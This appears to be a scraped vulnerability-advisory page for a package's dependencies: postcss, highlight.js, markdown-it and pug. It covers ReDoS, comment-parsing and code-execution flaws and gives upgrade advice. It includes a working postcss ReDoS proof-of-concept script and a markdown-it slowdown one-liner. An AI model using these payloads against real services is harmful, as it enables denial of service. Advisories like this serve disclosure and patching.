All the vulnerabilities related to the version 5.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
ReDOS vulnerabities: multiple grammars
The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.
If are you are using Highlight.js to highlight user-provided data you are possibly vulnerable. On the client-side (in a browser or Electron environment) risks could include lengthy freezes or crashes... On the server-side infinite freezes could occur... effectively preventing users from accessing your app or service (ie, Denial of Service).
This is an issue with grammars shipped with the parser (and potentially 3rd party grammars also), not the parser itself. If you are using Highlight.js with any of the following grammars you are vulnerable. If you are using highlightAuto
to detect the language (and have any of these grammars registered) you are vulnerable. Exponential grammars (C, Perl, JavaScript) are auto-registered when using the common grammar subset/library require('highlight.js/lib/common')
as of 10.4.0 - see https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10.4.0/build/highlight.js
All versions prior to 10.4.1 are vulnerable, including version 9.18.5.
Grammars with exponential backtracking issues:
And of course any aliases of those languages have the same issue. ie: hpp
is no safer than cpp
.
Grammars with polynomial backtracking issues:
And again: any aliases of those languages have the same issue. ie: ruby
and rb
share the same ruby issues.
If you have any questions or comments about this advisory:
Uncontrolled Resource Consumption in markdown-it
Special patterns with length > 50K chars can slow down parser significantly.
const md = require('markdown-it')();
md.render(`x ${' '.repeat(150000)} x \nx`);
Upgrade to v12.3.2+
No.
Fix + test sample: https://github.com/markdown-it/markdown-it/commit/ffc49ab46b5b751cd2be0aabb146f2ef84986101
Remote code execution via the pretty
option.
If a remote attacker was able to control the pretty
option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was possible for them to achieve remote code execution on the node.js backend.
Upgrade to pug@3.0.1
or pug-code-gen@3.0.2
or pug-code-gen@2.0.3
, which correctly sanitise the parameter.
If there is no way for un-trusted input to be passed to pug as the pretty
option, e.g. if you compile templates in advance before applying user input to them, you do not need to upgrade.
Original report: https://github.com/pugjs/pug/issues/3312
If you believe you have found other vulnerabilities, please DO NOT open an issue. Instead, you can follow the instructions in our Security Policy
Pug allows JavaScript code execution if an application accepts untrusted input
Pug through 3.0.2 allows JavaScript code execution if an application accepts untrusted input for the name option of the compileClient
, compileFileClient
, or compileClientWithDependenciesTracked
function. NOTE: these functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.
Pug allows JavaScript code execution if an application accepts untrusted input
Pug through 3.0.2 allows JavaScript code execution if an application accepts untrusted input for the name option of the compileClient
, compileFileClient
, or compileClientWithDependenciesTracked
function. NOTE: these functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.